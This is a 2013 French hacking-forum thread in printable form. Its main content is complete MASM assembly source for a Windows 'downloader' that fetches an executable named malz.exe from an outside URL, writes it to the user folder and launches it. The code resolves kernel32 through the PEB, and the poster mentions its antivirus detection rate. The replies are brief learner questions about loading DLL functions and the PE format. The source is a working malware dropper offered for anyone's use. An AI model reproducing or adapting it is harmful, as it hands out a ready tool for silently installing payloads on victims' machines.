N-PN White-Hat Project
[MASM]Win32.Downloader - Version imprimable

+- N-PN White-Hat Project (https://dev.n-pn.fr/forum)
+-- Forum : Programmation (https://dev.n-pn.fr/forum/forumdisplay.php?fid=72)
+--- Forum : Langages compilés (https://dev.n-pn.fr/forum/forumdisplay.php?fid=25)
+--- Sujet : [MASM]Win32.Downloader (/showthread.php?tid=3399)



[MASM]Win32.Downloader - EpicOut - 02-11-2013

Hello, voici un downloader méga simple que j'ai fait via MASM, je l'ait fait pour le fun et pas pour faire chier des gens avec des malwares de merde, faites en ce que vous voulez, j'en ai rien à foutre, sous WTFPL, il est à 16/48 (plus maintenant, je l'ai scanné avec vt), si vous avez des questions sur son fonctionnement ou autre, n'hésitez pas à me mp, j'suis dispo.

Code :
.386
.model flat, stdcall
option casemap :none  ; case sensitive

include windows.inc

include kernel32.inc
includelib kernel32.lib

assume fs:nothing
.data
ExeFile db "http://www.epicworld.fr/malz.exe",0
PathTarget db "C:\Users\malz.exe",0
LpStartup STARTUPINFO <>
ProcessInfo PROCESS_INFORMATION <>
dll1 db "urlmon.dll",0
dllfunc1 db "URLDownloadToFileA",0
dllfunc2 db "CreateProcessA",0
signature db "Downloader by EpicOut - 2013",0
.data?
hModule dd ?
.code
start:
call download
call execute
call exit

download:
invoke LoadLibrary,addr dll1
invoke GetProcAddress,eax,addr dllfunc1
push NULL
push 0
push offset PathTarget
push offset ExeFile
push NULL
call eax
ret

execute:
call get_kernel32
invoke GetProcAddress,hModule,addr dllfunc2
push offset ProcessInfo
push offset LpStartup
push NULL
push NULL
push NULL
push TRUE
push NULL
push NULL
push NULL
push offset PathTarget
call eax
ret

exit:
invoke ExitProcess,0
ret

get_kernel32:
xor eax, eax
mov eax, fs:[30h]
mov eax, [eax+0Ch]
mov eax, [eax+0Ch]
mov ecx,2
loop_:
mov eax, [eax]
loop loop_
mov eax, [eax+18h]
mov hModule,eax
xor eax, eax
ret
end start



RE: [MASM]Win32.Downloader - sakiir - 02-11-2013

Cool ! Smile
j'ai jamais utilisé les fonctions GetProcAddress ! et je ne savais pas qu'on pouvais faire ca pour utiliser des fonction externe comme celles d'Urlmon !
C'est ce qu'on appel "chargé une dll en memoire " ?


RE: [MASM]Win32.Downloader - EpicOut - 02-11-2013

Bah enfait, tant que tu as l'imagebase de la dll où se trouve ta fonction ça fonctionne.
Et ouais ça s'appelle charger en mémoire.


RE: [MASM]Win32.Downloader - sakiir - 02-11-2013

Faut vraiment ue je vois Le Format PE deja ^^


RE: [MASM]Win32.Downloader - EpicOut - 02-11-2013

C'est pas sorcier, y'a pas mal de ressources sur le web, mais t'attends pas non plus à que tout soit documenté.


RE: [MASM]Win32.Downloader - sakiir - 02-11-2013

ouai nan mais je sais ou regarder ! j'ai deja lu sur re-xe.com